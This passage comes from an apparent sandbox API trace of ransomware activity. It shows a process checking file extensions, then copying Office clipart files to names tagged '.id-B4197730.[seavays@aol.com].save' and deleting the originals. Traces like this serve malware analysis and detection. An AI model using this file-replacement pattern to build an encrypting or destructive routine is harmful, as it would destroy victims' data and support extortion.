lpString2="WMF") returned -1 [0063.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0063.337] lstrlenW (lpString=".dbf") returned 4 [0063.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0063.337] lstrlenW (lpString=".1cd") returned 4 [0063.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0063.337] lstrlenW (lpString=".jpg") returned 4 [0063.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0063.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0063.337] lstrlenW (lpString=".doc") returned 4 [0063.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.337] lstrlenW (lpString=".docx") returned 5 [0063.337] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.337] lstrlenW (lpString=".pdf") returned 4 [0063.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.337] lstrlenW (lpString=".xls") returned 4 [0063.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.337] lstrlenW (lpString=".xlsx") returned 5 [0063.337] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.337] lstrlenW (lpString=".ppt") returned 4 [0063.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0063.337] lstrlenW (lpString=".zip") returned 4 [0063.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.337] lstrlenW (lpString=".rar") returned 4 [0063.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.338] lstrlenW (lpString=".bz2") returned 4 [0063.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.338] lstrlenW (lpString=".7z") returned 3 [0063.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0063.338] lstrlenW (lpString=".dbf") returned 4 [0063.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0063.338] lstrlenW (lpString=".1cd") returned 4 [0063.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0063.338] lstrlenW (lpString=".jpg") returned 4 [0063.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.338] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.338] lstrlenW (lpString="AN01218_.WMF") returned 12 [0063.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0063.338] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=3012) returned 1 [0063.338] CloseHandle (hObject=0x2ec) returned 1 [0063.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220 [0063.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0063.339] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.339] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0063.339] GetLastError () returned 0x0 [0063.339] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xbc4, lpOverlapped=0x0) returned 1 [0063.341] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xbd0, lpOverlapped=0x0) returned 1 [0063.342] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0063.342] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0063.342] SetEndOfFile (hFile=0x38c) returned 1 [0063.342] CloseHandle (hObject=0x38c) returned 1 [0063.343] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.343] SetEndOfFile (hFile=0x2ec) returned 1 [0063.344] CloseHandle (hObject=0x2ec) returned 1 [0063.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.345] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0063.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0063.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0063.345] lstrlenW (lpString=".doc") returned 4 [0063.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.345] lstrlenW (lpString=".docx") returned 5 [0063.345] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.345] lstrlenW (lpString=".pdf") returned 4 [0063.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.345] lstrlenW (lpString=".xls") returned 4 [0063.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.345] lstrlenW (lpString=".xlsx") returned 5 [0063.345] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.345] lstrlenW (lpString=".ppt") returned 4 [0063.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0063.345] lstrlenW (lpString=".zip") returned 4 [0063.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.345] lstrlenW (lpString=".rar") returned 4 [0063.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.346] lstrlenW (lpString=".bz2") returned 4 [0063.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.346] lstrlenW (lpString=".7z") returned 3 [0063.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0063.346] lstrlenW (lpString=".dbf") returned 4 [0063.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0063.346] lstrlenW (lpString=".1cd") returned 4 [0063.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0063.346] lstrlenW (lpString=".jpg") returned 4 [0063.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0063.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0063.346] lstrlenW (lpString=".doc") returned 4 [0063.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.346] lstrlenW (lpString=".docx") returned 5 [0063.346] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.346] lstrlenW (lpString=".pdf") returned 4 [0063.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.347] lstrlenW (lpString=".xls") returned 4 [0063.347] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.347] lstrlenW (lpString=".xlsx") returned 5 [0063.347] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.347] lstrlenW (lpString=".ppt") returned 4 [0063.347] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0063.347] lstrlenW (lpString=".zip") returned 4 [0063.347] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.347] lstrlenW (lpString=".rar") returned 4 [0063.347] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.347] lstrlenW (lpString=".bz2") returned 4 [0063.347] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.347] lstrlenW (lpString=".7z") returned 3 [0063.347] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0063.347] lstrlenW (lpString=".dbf") returned 4 [0063.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0063.347] lstrlenW (lpString=".1cd") returned 4 [0063.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0063.347] lstrlenW (lpString=".jpg") returned 4 [0063.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.347] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.347] lstrlenW (lpString="AN01251_.WMF") returned 12 [0063.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0063.348] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=2756) returned 1 [0063.348] CloseHandle (hObject=0x2ec) returned 1 [0063.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0x220 [0063.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0063.348] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.348] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0063.349] GetLastError () returned 0x0 [0063.349] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xac4, lpOverlapped=0x0) returned 1 [0063.350] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xad0, lpOverlapped=0x0) returned 1 [0063.352] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0063.352] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0063.352] SetEndOfFile (hFile=0x38c) returned 1 [0063.352] CloseHandle (hObject=0x38c) returned 1 [0063.353] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.353] SetEndOfFile (hFile=0x2ec) returned 1 [0063.354] CloseHandle (hObject=0x2ec) returned 1 [0063.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0063.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0063.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0063.355] lstrlenW (lpString=".doc") returned 4 [0063.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.355] lstrlenW (lpString=".docx") returned 5 [0063.355] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.355] lstrlenW (lpString=".pdf") returned 4 [0063.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.355] lstrlenW (lpString=".xls") returned 4 [0063.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.355] lstrlenW (lpString=".xlsx") returned 5 [0063.355] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.355] lstrlenW (lpString=".ppt") returned 4 [0063.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0063.356] lstrlenW (lpString=".zip") returned 4 [0063.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.356] lstrlenW (lpString=".rar") returned 4 [0063.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.356] lstrlenW (lpString=".bz2") returned 4 [0063.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.356] lstrlenW (lpString=".7z") returned 3 [0063.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0063.356] lstrlenW (lpString=".dbf") returned 4 [0063.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0063.356] lstrlenW (lpString=".1cd") returned 4 [0063.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0063.356] lstrlenW (lpString=".jpg") returned 4 [0063.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0063.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0063.357] lstrlenW (lpString=".doc") returned 4 [0063.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.357] lstrlenW (lpString=".docx") returned 5 [0063.357] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.357] lstrlenW (lpString=".pdf") returned 4 [0063.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.357] lstrlenW (lpString=".xls") returned 4 [0063.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.357] lstrlenW (lpString=".xlsx") returned 5 [0063.357] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.357] lstrlenW (lpString=".ppt") returned 4 [0063.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0063.357] lstrlenW (lpString=".zip") returned 4 [0063.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.357] lstrlenW (lpString=".rar") returned 4 [0063.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.357] lstrlenW (lpString=".bz2") returned 4 [0063.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.357] lstrlenW (lpString=".7z") returned 3 [0063.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0063.357] lstrlenW (lpString=".dbf") returned 4 [0063.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0063.357] lstrlenW (lpString=".1cd") returned 4 [0063.357] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0063.357] lstrlenW (lpString=".jpg") returned 4 [0063.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.358] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.358] lstrlenW (lpString="AN01545_.WMF") returned 12 [0063.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0063.358] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=7372) returned 1 [0063.358] CloseHandle (hObject=0x2ec) returned 1 [0063.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220 [0063.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0063.359] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.359] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0063.360] GetLastError () returned 0x0 [0063.360] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x1ccc, lpOverlapped=0x0) returned 1 [0063.361] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1cd0, lpOverlapped=0x0) returned 1 [0063.362] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0063.362] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0063.362] SetEndOfFile (hFile=0x38c) returned 1 [0063.362] CloseHandle (hObject=0x38c) returned 1 [0063.364] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.364] SetEndOfFile (hFile=0x2ec) returned 1 [0063.364] CloseHandle (hObject=0x2ec) returned 1 [0063.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.365] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0063.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0063.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0063.365] lstrlenW (lpString=".doc") returned 4 [0063.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.365] lstrlenW (lpString=".docx") returned 5 [0063.365] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.365] lstrlenW (lpString=".pdf") returned 4 [0063.366] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.366] lstrlenW (lpString=".xls") returned 4 [0063.366] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.366] lstrlenW (lpString=".xlsx") returned 5 [0063.366] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.366] lstrlenW (lpString=".ppt") returned 4 [0063.366] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0063.366] lstrlenW (lpString=".zip") returned 4 [0063.366] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.366] lstrlenW (lpString=".rar") returned 4 [0063.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.366] lstrlenW (lpString=".bz2") returned 4 [0063.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.366] lstrlenW (lpString=".7z") returned 3 [0063.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0063.366] lstrlenW (lpString=".dbf") returned 4 [0063.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0063.366] lstrlenW (lpString=".1cd") returned 4 [0063.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") 